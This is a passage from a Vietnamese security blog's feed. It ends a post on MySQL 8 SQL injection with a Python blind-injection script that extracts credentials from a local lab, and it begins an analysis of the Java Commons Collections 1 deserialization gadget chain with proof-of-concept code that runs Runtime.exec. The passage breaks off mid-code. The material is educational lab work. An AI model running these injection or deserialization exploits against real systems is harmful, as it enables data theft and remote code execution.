class="built_in">print</span>(value)</span><br></pre></td></tr></table></figure><p>Dump password:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">Dump username</span><br><span class="line">```python</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> urllib</span><br><span class="line">url = <span class="string">&#x27;http://localhost/Less-1/?id=&#x27;</span></span><br><span class="line"><span class="comment"># nhập các giá trị</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Nhập database của table: &quot;</span>, end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">db_name = <span class="built_in">str</span>(<span class="built_in">input</span>())</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Nhập table: &quot;</span>, end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">tb_name = <span class="built_in">str</span>(<span class="built_in">input</span>())</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Nhập id: &quot;</span>, end=<span class="string">&quot;&quot;</span>)</span><br><span class="line"><span class="built_in">id</span> = <span class="built_in">str</span>(<span class="built_in">input</span>())</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Nhập username: &quot;</span>, end=<span class="string">&quot;&quot;</span>)</span><br><span class="line">username = <span class="built_in">str</span>(<span class="built_in">input</span>())</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Nhập index của id: &quot;</span>, end=<span class="string">&quot;&quot;</span>)</span><br><span class="line">index = <span class="built_in">str</span>(<span class="built_in">input</span>())</span><br><span class="line"><span class="comment"># vì chúng ta biết được index của id từ script đầu tiên rồi</span></span><br><span class="line">value = <span class="string">&#x27;&#x27;</span></span><br><span class="line"><span class="comment"># -------</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">20</span>):</span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="string">&quot;0123456789abcdefghijklmnopqrstuvwxyz-&#123;|&#125;~&quot;</span>:</span><br><span class="line">        payload = <span class="string">&quot;1&#x27; and (&#x27;&#123;&#125;&#x27;,&#x27;&#123;&#125;&#x27;,&#x27;&#123;&#125;&#x27;)&lt;=(table &#123;&#125;.&#123;&#125; limit &#123;&#125;,1)-- -&quot;</span>.<span class="built_in">format</span>(</span><br><span class="line">            <span class="built_in">id</span>,username, value + j, db_name, tb_name, index)</span><br><span class="line">        <span class="built_in">print</span>(value + j)</span><br><span class="line">        payload_encoded = urllib.parse.quote(payload)</span><br><span class="line">        r = requests.get(url=url+payload_encoded)</span><br><span class="line">        <span class="comment"># print(r.text)</span></span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;Your Login name&quot;</span> <span class="keyword">in</span> r.text:</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="comment"># print(r.text)</span></span><br><span class="line">            <span class="keyword">if</span> j == <span class="string">&#x27;0&#x27;</span>:</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            value += <span class="built_in">chr</span>(<span class="built_in">ord</span>(j)-<span class="number">1</span>)</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Giá trị cần tìm là: &quot;</span>, end=<span class="string">&quot;&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(value)</span><br></pre></td></tr></table></figure><h2 id="HANDLER-Statement"><a href="#HANDLER-Statement" class="headerlink" title="HANDLER Statement"></a>HANDLER Statement</h2><h3 id="Systax"><a href="#Systax" class="headerlink" title="Systax:"></a>Systax:</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">HANDLER tbl_name <span class="keyword">OPEN</span> [ [<span class="keyword">AS</span>] alias]</span><br><span class="line"></span><br><span class="line">HANDLER tbl_name READ index_name &#123; <span class="operator">=</span> <span class="operator">|</span> <span class="operator">&lt;=</span> <span class="operator">|</span> <span class="operator">&gt;=</span> <span class="operator">|</span> <span class="operator">&lt;</span> <span class="operator">|</span> <span class="operator">&gt;</span> &#125; (value1,value2,...)</span><br><span class="line">    [ <span class="keyword">WHERE</span> where_condition ] [LIMIT ... ]</span><br><span class="line">HANDLER tbl_name READ index_name &#123; <span class="keyword">FIRST</span> <span class="operator">|</span> NEXT <span class="operator">|</span> PREV <span class="operator">|</span> <span class="keyword">LAST</span> &#125;</span><br><span class="line">    [ <span class="keyword">WHERE</span> where_condition ] [LIMIT ... ]</span><br><span class="line">HANDLER tbl_name READ &#123; <span class="keyword">FIRST</span> <span class="operator">|</span> NEXT &#125;</span><br><span class="line">    [ <span class="keyword">WHERE</span> where_condition ] [LIMIT ... ]</span><br><span class="line"></span><br><span class="line">HANDLER tbl_name <span class="keyword">CLOSE</span></span><br></pre></td></tr></table></figure><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">mysql<span class="operator">&gt;</span> HANDLER users <span class="keyword">OPEN</span>;</span><br><span class="line">Query OK, <span class="number">0</span> <span class="keyword">rows</span> affected (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">mysql<span class="operator">&gt;</span> HANDLER users read <span class="keyword">first</span></span><br><span class="line">    <span class="operator">-</span><span class="operator">&gt;</span> ;</span><br><span class="line"><span class="operator">+</span><span class="comment">----+----------+----------+</span></span><br><span class="line"><span class="operator">|</span> id <span class="operator">|</span> username <span class="operator">|</span> password <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+----------+----------+</span></span><br><span class="line"><span class="operator">|</span>  <span class="number">1</span> <span class="operator">|</span> Dumb     <span class="operator">|</span> Dumb     <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+----------+----------+</span></span><br><span class="line">mysql<span class="operator">&gt;</span> HANDLER users read next;</span><br><span class="line"><span class="operator">+</span><span class="comment">----+----------+------------+</span></span><br><span class="line"><span class="operator">|</span> id <span class="operator">|</span> username <span class="operator">|</span> password   <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+----------+------------+</span></span><br><span class="line"><span class="operator">|</span>  <span class="number">2</span> <span class="operator">|</span> Angelina <span class="operator">|</span> I<span class="operator">-</span>kill<span class="operator">-</span>you <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+----------+------------+</span></span><br><span class="line">mysql<span class="operator">&gt;</span> HANDLER users read next;</span><br><span class="line"><span class="operator">+</span><span class="comment">----+----------+----------+</span></span><br><span class="line"><span class="operator">|</span> id <span class="operator">|</span> username <span class="operator">|</span> password <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+----------+----------+</span></span><br><span class="line"><span class="operator">|</span>  <span class="number">3</span> <span class="operator">|</span> Dummy    <span class="operator">|</span> p<span class="variable">@ssword</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+----------+----------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">Để về lại từ đầu chúng ta sẽ bắt đầu lại từ <span class="keyword">first</span></span><br><span class="line">mysql<span class="operator">&gt;</span> HANDLER users read <span class="keyword">first</span></span><br><span class="line">    <span class="operator">-</span><span class="operator">&gt;</span> ;</span><br><span class="line"><span class="operator">+</span><span class="comment">----+----------+----------+</span></span><br><span class="line"><span class="operator">|</span> id <span class="operator">|</span> username <span class="operator">|</span> password <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+----------+----------+</span></span><br><span class="line"><span class="operator">|</span>  <span class="number">1</span> <span class="operator">|</span> Dumb     <span class="operator">|</span> Dumb     <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+----------+----------+</span></span><br></pre></td></tr></table></figure><p>Alias tên bảng:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">mysql<span class="operator">&gt;</span> handler users <span class="keyword">open</span> <span class="keyword">as</span> rayin;</span><br><span class="line">Query OK, <span class="number">0</span> <span class="keyword">rows</span> affected (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">mysql<span class="operator">&gt;</span> handler rayin read <span class="keyword">first</span>;</span><br><span class="line"><span class="operator">+</span><span class="comment">----+----------+----------+</span></span><br><span class="line"><span class="operator">|</span> id <span class="operator">|</span> username <span class="operator">|</span> password <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+----------+----------+</span></span><br><span class="line"><span class="operator">|</span>  <span class="number">1</span> <span class="operator">|</span> Dumb     <span class="operator">|</span> Dumb     <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+----------+----------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">mysql<span class="operator">&gt;</span> handler rayin read next;</span><br><span class="line"><span class="operator">+</span><span class="comment">----+----------+------------+</span></span><br><span class="line"><span class="operator">|</span> id <span class="operator">|</span> username <span class="operator">|</span> password   <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+----------+------------+</span></span><br><span class="line"><span class="operator">|</span>  <span class="number">2</span> <span class="operator">|</span> Angelina <span class="operator">|</span> I<span class="operator">-</span>kill<span class="operator">-</span>you <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+----------+------------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br></pre></td></tr></table></figure>]]></content:encoded>
      
      
      <category domain="https://rayinaw.github.io/categories/Mysql/">Mysql</category>
      
      <category domain="https://rayinaw.github.io/categories/Mysql/SQLi/">SQLi</category>
      
      
      <category domain="https://rayinaw.github.io/tags/Mysql/">Mysql</category>
      
      <category domain="https://rayinaw.github.io/tags/SQLi/">SQLi</category>
      
      
      <comments>https://rayinaw.github.io/2022/11/27/sqli-mysql8/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Phân tích chuỗi Commons Collections 1 với TransformedMap</title>
      <link>https://rayinaw.github.io/2022/11/04/Commons-Collections1-TransformedMap/</link>
      <guid>https://rayinaw.github.io/2022/11/04/Commons-Collections1-TransformedMap/</guid>
      <pubDate>Fri, 04 Nov 2022 11:00:38 GMT</pubDate>
      
        
        
      <description>&lt;h2 id=&quot;Mot-vai-khai-niem-can-nam&quot;&gt;&lt;a href=&quot;#Mot-vai-khai-niem-can-nam&quot; class=&quot;headerlink&quot; title=&quot;Một vài khái niệm cần nắm&quot;&gt;&lt;/a&gt;Một vài khá</description>
        
      
      
      
      <content:encoded><![CDATA[<h2 id="Mot-vai-khai-niem-can-nam"><a href="#Mot-vai-khai-niem-can-nam" class="headerlink" title="Một vài khái niệm cần nắm"></a>Một vài khái niệm cần nắm</h2><p>Trước tiên chúng ta cần hình dung lớp Runtime sẽ exec câu lệnh như nào, ở đây mình có sử dụng kiến thức reflection mà mình đã có bài viết về nó, các bạn có thể tham khảo thêm.</p><ul><li>Lớp java.lang.reflect.Method có phương thức invoke, nó dùng để invoke method của object được truyền vào ở tham số đầu tiên, và với các tham số của method này là Object args (tham số lưu dưới dạng object).<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Object <span class="title function_">invoke</span><span class="params">(Object obj, Object... args)</span>  <span class="keyword">throws</span> IllegalAccessException,  </span><br><span class="line">               IllegalArgumentException,  </span><br><span class="line">                InvocationTargetException  </span><br></pre></td></tr></table></figure></li><li>Trong lớp Runtime có phương thức exec dùng để exec câu lệnh trên system.</li><li>Bây giờ mình sẽ thực hiện invoke method exec của lớp runtime, vì nó là method private nên để sử dụng chúng ta cần setAccessible(“true”).<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">runtime</span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Runtime</span> <span class="variable">runtime</span> <span class="operator">=</span> Runtime.getRuntime();</span><br><span class="line">        <span class="type">Method</span> <span class="variable">execMethod</span> <span class="operator">=</span> Runtime.class.getDeclaredMethod(<span class="string">&quot;exec&quot;</span>,  String.class);</span><br><span class="line">        execMethod.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        execMethod.invoke(runtime, <span class="string">&quot;calc&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li></ul><h2 id="Phan-tich"><a href="#Phan-tich" class="headerlink" title="Phân tích"></a>Phân tích</h2><p>Sơ đồ tóm tắt chuỗi.<br><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/11/04/Commons-Collections1-TransformedMap/mindmap.png"></p><h3 id="InvokerTransformer-transform"><a href="#InvokerTransformer-transform" class="headerlink" title="InvokerTransformer.transform"></a>InvokerTransformer.transform</h3><p>Chain này bắt đầu từ lớp InvokerTransformer. Lớp này implements interface Transformer.</p><p>Hàm tạo của lớp InvokerTransformer:</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/11/04/Commons-Collections1-TransformedMap/InvokerTransformerConstructor.png"></p><ul><li><code>Object[] args</code> ở đây nhận một Object với kiểu String.</li><li><code>Class[] paramTypes</code> nhận một Object của lớp Class</li></ul><p>Trong trường structure tìm đến method transform trong class InvokerTransformer ta thấy:</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/11/04/Commons-Collections1-TransformedMap/InvokerTransformerTransform.png"></p><ul><li>Đầu tiên, nó thực hiện lấy class của object input là tham số của phương thức transform.</li><li>Tiếp theo nó thực hiện lấy phương thức với tên phương thức là tham số iMethodName của object của lớp InvokerTransformer, và iParamTypes là lớp đại diện cho kiểu tham số của phương thức này rồi gán vào object method có kiểu là Method.<br>Sau đó nó thực hiện invoke method là iMethodName của của object input với tham số là iArgs.</li></ul><p>Có nghĩa khi chúng ta thực hiện <code>invoker.transform(object)</code> nó sẽ tương đương với việc chúng ta thực hiện invoke() method chứa trong biến invoker của object. Vậy nên ở đây chúng ta có thể sử dụng lớp InvokerTransformer để thực hiện lệnh exec của lớp Runtime.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        String[] cmd = <span class="keyword">new</span> <span class="title class_">String</span>[] &#123;<span class="string">&quot;calc&quot;</span>&#125;;</span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, cmd);</span><br><span class="line">        invokerTransformer.transform(Runtime.getRuntime());</span><br><span class="line">        <span class="comment">//Runtime.getRuntime() trả về một object của lớp Runtime</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Tiếp theo chúng ta cần tìm lớp nào gọi đến phương thức transform của lớp InvokerTransformer.</p><p><code>Ctrl + Chuột trái</code> click vào phương thức transform:</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/11/04/Commons-Collections1-TransformedMap/ClassesCallMethodTransform.png"></p><p>Phương thức này có nhiều lớp gọi đến, nhưng để có ảnh hưởng lead to CC1 chỉ có 2 lớp là TranformedMap và LazyMap. Bài viết này mình sẽ phân tích theo hướng TranformedMap. LazyMap mình sẽ phân tích sau. Cùng phân tích thôi nào~</p><h3 id="TransformedMap-checkSetValue"><a href="#TransformedMap-checkSetValue" class="headerlink" title="TransformedMap.checkSetValue"></a>TransformedMap.checkSetValue</h3><p>Hàm này có 3 phương thức gọi đến method transform là <code>checkSetValue</code>, <code>transformValue</code> và <code>transformKey</code>. Tuy nhiên phương thức chúng ta cần đi vào là <code>checkSetValue</code> bởi vì nó được sử dụng ở những lớp khác và kéo theo một chuỗi gadget.</p><p>Phương thức checkSetValue:</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/11/04/Commons-Collections1-TransformedMap/TransformedMap-checkSetValue.png"></p><p>Nhìn vào phương thức này chúng ta thấy khá tương đồng với đoạn code ngắn để exec calc với lớp InvokerTranformer rồi phải không.</p><p>Bây giờ chúng ta sẽ xem valueTransformer là gì:</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/11/04/Commons-Collections1-TransformedMap/TransformedMap-Constructor.png"></p><p>valueTransformer là một object của lớp Transformer.</p><p>Hàm tạo này khai báo protected nên không thể tạo trực tiếp, chúng ta cần tìm phương thức trả về object của lớp này.</p><p>Trong lớp này có phương thức decorate return một object của TransformedMap, các tham số đầu vào tương ứng với các tham số của hàm tạo TransformedMap. Chúng ta sẽ dùng phương thức này để tạo gián tiếp một object của lớp TransformedMap.</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/11/04/Commons-Collections1-TransformedMap/TransformedMap-decorate-png.png"></p><p>valueTransformer là một object kiểu Transformer nên chúng ta có thể truyền vào một object kiểu InvokerTransformer vì thằng này implements Transformer. Phương thức checkSetValue là phương thức protected nên chúng ta cần dùng reflection để gọi đến phương thức này. </p><p>Chuỗi poc ngắn từ TranformedMap:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">runtime</span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">HashMap</span> <span class="variable">map</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        String[] argsRuntime = <span class="keyword">new</span> <span class="title class_">String</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;;</span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, argsRuntime);</span><br><span class="line">        <span class="type">TransformedMap</span> <span class="variable">transformedMap</span> <span class="operator">=</span> (TransformedMap) TransformedMap.decorate(map, <span class="literal">null</span>, invokerTransformer);</span><br><span class="line">        <span class="type">Method</span> <span class="variable">method</span> <span class="operator">=</span> TransformedMap.class.getDeclaredMethod(<span class="string">&quot;checkSetValue&quot;</span>, Object.class);</span><br><span class="line">        method.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        method.invoke(transformedMap, Runtime.getRuntime());</span><br><span class="line">        <span class="comment">//tham số của checkSetValue sẽ được truyền bào phương thức transform nên chúng ta sẽ truyền vào Runtime.getRuntime() tương tự như invokerTransformer.transform(Runtime.getRuntime());</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Đây chỉ là một POC nhỏ, chỉ để chỉ ra rằng lớp TransformedMap có thể kích hoạt được phương thức của lớp Runtime. Vấn đề của chúng ta bây giờ là cần tìm ai gọi đến method checkSetValue này.</p><h3 id="AbstractMapEntryDecorator-MapEntry"><a href="#AbstractMapEntryDecorator-MapEntry" class="headerlink" title="AbstractMapEntryDecorator.MapEntry"></a>AbstractMapEntryDecorator.MapEntry</h3><p>Tiếp tục <code>Ctrl + chuột trái</code> click vào checkSetValue, ta thấy phương thức AbstractMapEntryDecorator.MapEntry.setValue() gọi đến checkSetValue.</p><ul><li>Lớp AbstractMapEntryDecorator là abstract cha của lớp TransformedMap.</li><li>setValue là phương thức của lớp Map.Entry.</li></ul><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/11/04/Commons-Collections1-TransformedMap/AbstractInputCheckedMapDecorator-entry-setValue.png"></p><p>Trước tiên chúng ta cần hiểu entry là gì à cách nó được sử dụng trong Map. Các bạn có thể tham khảo ở <a href="https://viblo.asia/p/cac-cach-iterate-map-trong-java-ORNZqjNMl0n">đây</a>.</p><p>Hàm setValue() sẽ thực hiện gán giá trị vào key. Với thư viện map, khi truy cập từng cặp khóa-giá trị (entry) này chúng ta sẽ dùng cách duyệt qua từng entry rồi thao tác với từng entry đó. </p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"><span class="keyword">import</span> java.util.Set;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">testMapIterator</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        HashMap&lt;String,Object&gt; hashMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        hashMap.put(<span class="string">&quot;key1&quot;</span>, <span class="string">&quot;value1&quot;</span>);</span><br><span class="line">        hashMap.put(<span class="string">&quot;key2&quot;</span>, <span class="string">&quot;value2&quot;</span>);</span><br><span class="line">        hashMap.put(<span class="string">&quot;key3&quot;</span>, <span class="string">&quot;value3&quot;</span>);</span><br><span class="line">        Set&lt;Map.Entry&lt;String, Object&gt;&gt; set = hashMap.entrySet();</span><br><span class="line">        System.out.println(<span class="string">&quot;Results: &quot;</span>);</span><br><span class="line">        <span class="keyword">for</span>(Map.Entry&lt;String, Object&gt; entry : set) &#123;</span><br><span class="line">            entry.setValue(<span class="string">&quot;aaa&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        System.out.println(hashMap);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">//Results: </span></span><br><span class="line">    <span class="comment">//&#123;key1=aaa, key2=aaa, key3=aaa&#125;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Theo dõi hàm setValue:</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/11/04/Commons-Collections1-TransformedMap/override-setValue-1.png"></p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/11/04/Commons-Collections1-TransformedMap/override-setValue-2.png"></p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/11/04/Commons-Collections1-TransformedMap/override-setValue-3.png"></p><p>Phương thức setValue của interface <code>java.util.Map</code> được implements bởi lớp <code>AbstractMapEntryDecorator</code>, tiếp đến phương thức setValue của lớp này được Override bởi phương thức setValue của lớp <code>AbstractInputCheckedMapDecorator.MapEntry</code>.</p><p>Khi duyệt map của lớp bằng <code>AbstractInputCheckedMapDecorator.EntrySetIterator</code>, phương thức next() return ra một <code>AbstractInputCheckedMapDecorator.MapEntry</code>.<br>Do đó chúng ta có thể gọi đến hàm setValue() của <code>AbstractInputCheckedMapDecorator.MapEntry</code>.</p><p>Lớp transformedMap implements lớp <code>AbstractInputCheckedMapDecorator</code>, do đó khi chúng ta decorate một map thành transformedMap và duyệt map bằng entrySet() kết hợp với iterator rồi thực hiện hàm setValue() của transformedMap, nó sẽ thực hiện hàm setValue của lớp <code>AbstractInputCheckedMapDecorator.MapEntry</code>, phương thức này sẽ gọi đến hàm checkSetValue(). Bạn nào mới học mà không hiểu thì đoạn <code>Map.Entry entry : map.entrySet()</code> là làm tắt bỏ bước define Iterator tuy nhiên nó cũng iterator bên trong đó nhé. </p><p>Tiếp tục viết poc từ phương thức này:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationTargetException;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span>&#123;</span><br><span 